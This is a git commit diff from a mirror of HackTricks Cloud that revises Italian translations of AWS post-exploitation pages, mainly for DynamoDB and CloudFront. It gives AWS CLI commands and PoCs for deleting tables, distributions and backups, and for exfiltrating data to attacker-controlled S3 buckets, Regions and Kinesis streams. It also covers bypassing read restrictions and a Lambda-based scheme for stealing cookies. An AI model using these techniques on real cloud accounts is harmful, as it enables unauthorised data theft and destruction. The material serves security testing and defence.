mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 23:39:52 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -4,28 +4,37 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
Per maggiori informazioni controlla:
|
||||
Per maggiori informazioni, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Un attacker a cui è concesso cloudfront:Delete* può eliminare distributions, policies e altri oggetti di configurazione critici del CDN — per esempio distributions, cache/origin policies, key groups, origin access identities, functions/configs e risorse correlate. Questo può causare interruzioni del servizio, perdita di contenuti e rimozione di configurazioni o artefatti forensi.
|
||||
|
||||
Per eliminare una distribution, un attacker potrebbe usare:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione attraverso CloudFront** con lo scopo di **steal** informazioni degli utenti (come il session **cookie**) e **modify** la **response** (iniettando uno script JS malevolo).
|
||||
Questo [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **stealing** informazioni utente (come il session **cookie**) e **modifying** la **response** (injecting uno script JS malevolo).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Create** la **function** malevola.
|
||||
- **Associate** la function alla distribution CloudFront.
|
||||
- Setta il **event type to "Viewer Response"**.
|
||||
- **Crea** la **function** malevola.
|
||||
- **Associala** alla distribuzione CloudFront.
|
||||
- Imposta il **tipo di evento su "Viewer Response"**.
|
||||
|
||||
Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare uno script JS malevolo.
|
||||
Accedendo alla **response** potresti **steal** il **cookie** degli utenti e **inject** uno script JS malevolo.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modify the code** della lambda function per rubare informazioni sensibili
|
||||
- **Modifica il codice** della **lambda function** per **steal** informazioni sensibili
|
||||
|
||||
Puoi controllare il [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attacker con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
|
||||
Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non è possibile richiedere tutti i dati della tabella). Questo significa che è necessario conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`).)
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** privesc indiretta mediante individuazione di informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere i valori da una sola tabella, data la chiave primaria della voce da recuperare:
|
||||
**Simile alle autorizzazioni precedenti** questa consente a un potenziale attacker di leggere i valori da una sola tabella fornendo la chiave primaria della voce da recuperare:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Con questa autorizzazione è anche possibile usare il metodo **`transact-get-items`** come:
|
||||
Con questo permesso è inoltre possibile usare il metodo **`transact-get-items`** come:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto tramite l'individuazione di informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Simile alle precedenti autorizzazioni**, questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per ottenere l'intero database in una richiesta.
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare. Consente di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve comparire) è "EQ", quindi non puoi usare un confronto per ottenere l'intero DB in una richiesta.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potenziale impatto:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretto ottenibile individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Puoi usare questo permesso per **dump l'intera tabella facilmente**.
|
||||
Puoi usare questo permesso per **dump l'intera tabella facilmente**
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
|
||||
Puoi usare questa autorizzazione per **effettuare il dump dell'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Questa permission consente inoltre di eseguire `batch-execute-statement` come:
|
||||
Questa autorizzazione consente anche di eseguire `batch-execute-statement` come:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ma è necessario specificare la primary key con un valore, quindi non è così utile.
|
||||
ma è necessario specificare la chiave primaria con un valore, quindi non è molto utile.
|
||||
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto ottenuto individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un S3 bucket** a sua scelta:
|
||||
Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un bucket S3** a sua scelta:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,22 +144,23 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato. Puoi verificare se la tabella lo ha con:
|
||||
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato; puoi verificare se la tabella lo ha con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno della **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impatto potenziale:** privesc indiretto ottenuto localizzando informazioni sensibili nella tabella
|
||||
**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che n**on fossero più nella tabella di produzione**.
|
||||
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non sono più presenti nella tabella di produzione**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,7 +171,7 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Questo permesso permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se esiste già un item con la stessa chiave primaria, l'**intero item verrà sostituito** con il nuovo item. Se la chiave primaria non esiste, verrà **creato** un nuovo item con la chiave primaria specificata.
|
||||
Questa autorizzazione consente agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento verrà sostituito** con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata verrà **creato**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +203,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilities/bypasses tramite la possibilità di aggiungere/modificare dati in una tabella DynamoDB
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass consentito dalla possibilità di aggiungere o modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
|
||||
Questa autorizzazione permette agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,34 +243,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
**Potenziale impatto:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attacker con questa permission può **cancellare una tabella DynamoDB, causando perdita di dati**
|
||||
Un attacker con questo permesso può **cancellare una tabella DynamoDB, causando perdita di dati**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
|
||||
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di scenario di ripristino dopo un disastro**.
|
||||
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di ripristino di emergenza**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e incapacità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
**Impatto potenziale**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se questo funziona effettivamente
|
||||
> TODO: Testare se questo funziona realmente
|
||||
|
||||
Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streamare le modifiche, e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attacker di monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attaccante di monitorare ed esfiltrare le modifiche ai dati, potenzialmente portando a data leakage.
|
||||
|
||||
1. Abilitare uno stream su una tabella DynamoDB:
|
||||
```bash
|
||||
@@ -278,13 +279,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Descrivi lo stream per ottenere l'ARN e altri dettagli:
|
||||
2. Descrivi il flusso per ottenere l'ARN e altri dettagli:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Ottieni il shard iterator usando l'ARN dello stream:
|
||||
3. Ottieni l'iteratore dello shard usando l'ARN dello stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
4. Usa lo shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
|
||||
**Potential impact**: Monitoraggio in tempo reale e esfiltrazione dei dati delle modifiche della tabella DynamoDB.
|
||||
|
||||
### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
### Leggere elementi tramite `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'intera immagine pre-aggiornamento dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
Un attacker con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'update dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
|
||||
- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'elemento.
|
||||
|
||||
Esempio (aggiunge un attributo innocuo e exfiltrates the previous item in the response):
|
||||
Esempio (aggiunge un attributo innocuo ed esfiltra l'elemento precedente nella risposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +319,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso esclusivamente in scrittura.
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'elemento completo precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura a partire da un accesso in sola scrittura.
|
||||
|
||||
**Impatto potenziale:** Leggere item arbitrari da una tabella con solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
**Impatto potenziale:** Leggere elementi arbitrari da una tabella con solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, dalla quale l'attacker può leggere tutti gli items.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +355,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se viene utilizzata una CMK nella replica, potrebbero essere necessari permessi KMS per quella chiave.
|
||||
Permessi: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` sulla tabella target. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
|
||||
Impatto potenziale: Replica dell'intera tabella verso una Region controllata dall'attaccante che consente una stealthy data exfiltration.
|
||||
Impatto potenziale: Replicazione dell'intera tabella in una Region controllata dall'attacker portando a stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attaccante con privilegi di scrittura transazionali può exfiltrate gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fallisce intenzionalmente una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in accesso in lettura alle chiavi mirate.
|
||||
Un attacker con privilegi di scrittura transazionale può esfiltrare gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che intenzionalmente fa fallire una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in accesso in lettura sulle chiavi target.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,19 +410,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.
|
||||
|
||||
Potential Impact: Leggere elementi arbitrari (per chiave primaria) da una table usando solo privilegi di write transazionali tramite i returned cancellation reasons.
|
||||
Impatto potenziale: Leggere item arbitrari (per primary key) da una tabella usando solo privilegi di scrittura transazionale tramite i cancellation reasons restituiti.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Evitare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi `Query` l'index per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla base table è negato, purché sia possibile interrogare l'index ARN.
|
||||
Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo su un valore costante attraverso gli item, quindi eseguire una `Query` sull'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'index ARN.
|
||||
|
||||
- Permessi minimi:
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` sulla tabella target (per creare la GSI con `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ciascun item).
|
||||
- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passaggi (PoC in us-east-1):
|
||||
```bash
|
||||
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impatto potenziale:** Full table exfiltration interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
**Impatto potenziale:** Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams)
|
||||
|
||||
Abusando dei DynamoDB Kinesis streaming destinations per exfiltrate continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento `INSERT`/`MODIFY`/`REMOVE` viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
|
||||
Permessi minimi (attaccante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
|
||||
- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
|
||||
- Permessi di lettura sul Kinesis stream posseduto dall'attaccante per consumare i record: `kinesis:*`
|
||||
Permessi minimi (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,9 +529,46 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Un attacker con il permesso dynamodb:UpdateTimeToLive può cambiare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, i singoli elementi che contengono l'attributo TTL configurato verranno eliminati automaticamente una volta raggiunto il tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni elemento; gli elementi senza quell'attributo non sono influenzati dall'eliminazione basata sul TTL.
|
||||
|
||||
Se gli elementi non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli elementi (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e innescare eliminazioni di massa.
|
||||
|
||||
Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Quindi aggiorna gli elementi per aggiungere l'attributo TTL (secondi dall'epoch) in modo che scadano e vengano rimossi:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Un attaccante con i permessi `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per exfiltrate informazioni storiche o ottenere un dump completo dello stato passato del database.
|
||||
|
||||
Ripristinare una tabella DynamoDB da un backup on-demand:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Ripristinare una tabella DynamoDB a un punto nel tempo (creare una nuova tabella con lo stato ripristinato):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Impatto potenziale:** Continuo, quasi in tempo reale exfiltration delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
|
||||
**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura diretta sulla tabella.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Per ulteriori informazioni consulta:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,18 +12,18 @@ Per ulteriori informazioni consulta:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Il VPC traffic mirroring **duplica il traffico in ingresso e in uscita per EC2 instances all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili:
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.\
|
||||
